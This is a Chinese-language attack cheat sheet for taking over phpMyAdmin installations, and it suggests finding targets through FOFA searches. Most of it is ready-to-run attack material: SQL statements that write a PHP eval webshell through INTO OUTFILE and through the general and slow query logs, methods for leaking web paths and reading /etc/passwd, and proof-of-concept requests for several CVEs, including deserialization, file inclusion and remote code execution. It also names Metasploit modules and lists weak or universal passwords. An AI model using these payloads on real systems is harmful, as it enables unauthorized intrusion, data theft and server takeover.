获取版本信息
在phpmyadmin根目录下后面添加:
README
ChangeLog
doc/html/index.html
Change
changelog.php
readme.php
Documetation.html
Documetation.txt
translators.html
在fofa上搜索相应站点进行测试:
常规getshell手段:
1、SQL注入:看看网站是否存在注入利用注入出来的账号密码登录
2、爆破:通过爆破手段进入后台。利用相应的phpmyadmin爆破工具或者通过msf的auxiliary/scanner/http/phpmyadmin_login模块进行爆破
网站绝对路径获取手段:
1、phpinfo()
2、报错页面,可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径
3、利用select load_file() 读取文件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的文件
4、查看数据库表内容获取
5、@@datadir参数看mysql路径 反猜绝对路径
Trick:如何判断目录是否存在,往往确定了/var/www/html目录,但是还有一层目录不能 确定,可以采用目标域名+常用的网站根目录的方式进行爆破,当使用
select 'test' into outfile '/var/www/$fuzz$/shell.php';
不存在将会报错Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);
如果存在但是目录写不进去将返回(Errcode: 13);
1、直接写入一句话至网络根目录下(通用):
利用过程:
1、获取网站绝对路径
2、判断是否有读写权限:
select @@secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv'
secure_file_priv=NULL,禁止导入导出
secure_file_priv='',不限制导入导出
secure_file_priv=/path/,只能向指定目录导入导出
版本5.5.53之前默认为空,之后的版本默认为null
这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
3、写入shell到网站根目录下
select '<?php @eval($_POST[pass]);?>' into outfile 'E://phpstudy_pro//WWW//shell.php'
2、通过日志getshell(仅适用于phpmyadmin):
原理:MySQL5.0版本以上会创建日志文件,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭。通过修改日志的全局变量,打开日志并指定日志保存路径,设置日志记录名称为.php
查询日志全局变量:
show variables like '%general%';
打开日志全局变量:
set global general_log = "ON";
设置日志保存路径:
set global general_log_file = "E://phpstudy_pro//WWW//log.php";
进行查询,使查询的语句写入日志文件中:
select '<?php @eval($_POST[pass]); ?>';
或者我们可以通过慢查询的方式getshell:
原理:只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志
启用慢查询日志(默认禁用):
set global slow_query_log=1;
修改slow_query_log_file日志文件的绝对路径以及文件名:
set global slow_query_log_file='E://phpstudy_pro//WWW//slow_log.php';
慢查询时间值:
select @@long_query_time;
show global variables like '%long_query_time%';
如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中
通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。
向日志文件写入shell:
select '<?php @eval($_POST[pass]);?>' or sleep(11);
phpMyAdmin漏洞利用:
phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433)
影响phpMyAdmin 2.x版本,poc如下:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
CVE-2016-5734 RCE:
利用条件:
1、授权用户;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6
主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。
在Kali中有自带的EXP
searchsploit phpmyadmin
python3 40185.py -u root - root -d test -c "system(whoami)" http://192.168.75.130:8080/
具体请参考:https://www.jianshu.com/p/8e44cb1b5b5b
CVE-2018-12613文件包含:
利用条件:
漏洞版本:phpMyAdmin 4.8.0和4.8.1
主要原因在index.php中存在一处文件包含逻辑
满足以下5个条件:
1、不为空
2、字符串
3、不以index开头
4、不在$target_blacklist这个黑名单中
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。
判断是否存在漏洞经过二次编码绕过
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT '<?php phpinfo()?>';
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba
CVE-2014 -8959:本地文件包含
利用条件:
phpMyAdmin 4 .0.1--4 .2.12
PHP version < 5.3.4
POC:
/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00
在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。
CVE-2013-3238:
利用条件:
phpMyAdmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3
msf有相应的利用模块:
exploit/multi/http/phpmyadmin_preg_replace
CVE-2012-5159:
利用条件:
phpMyAdmin v3.5.2.2
msf有相应的利用模块:
exploit/multi/http/phpmyadmin_3522_backdoor
CVE-2009-1151:
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
利用条件:
phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
msf有相应的利用模块:
exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码:
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功
网友评论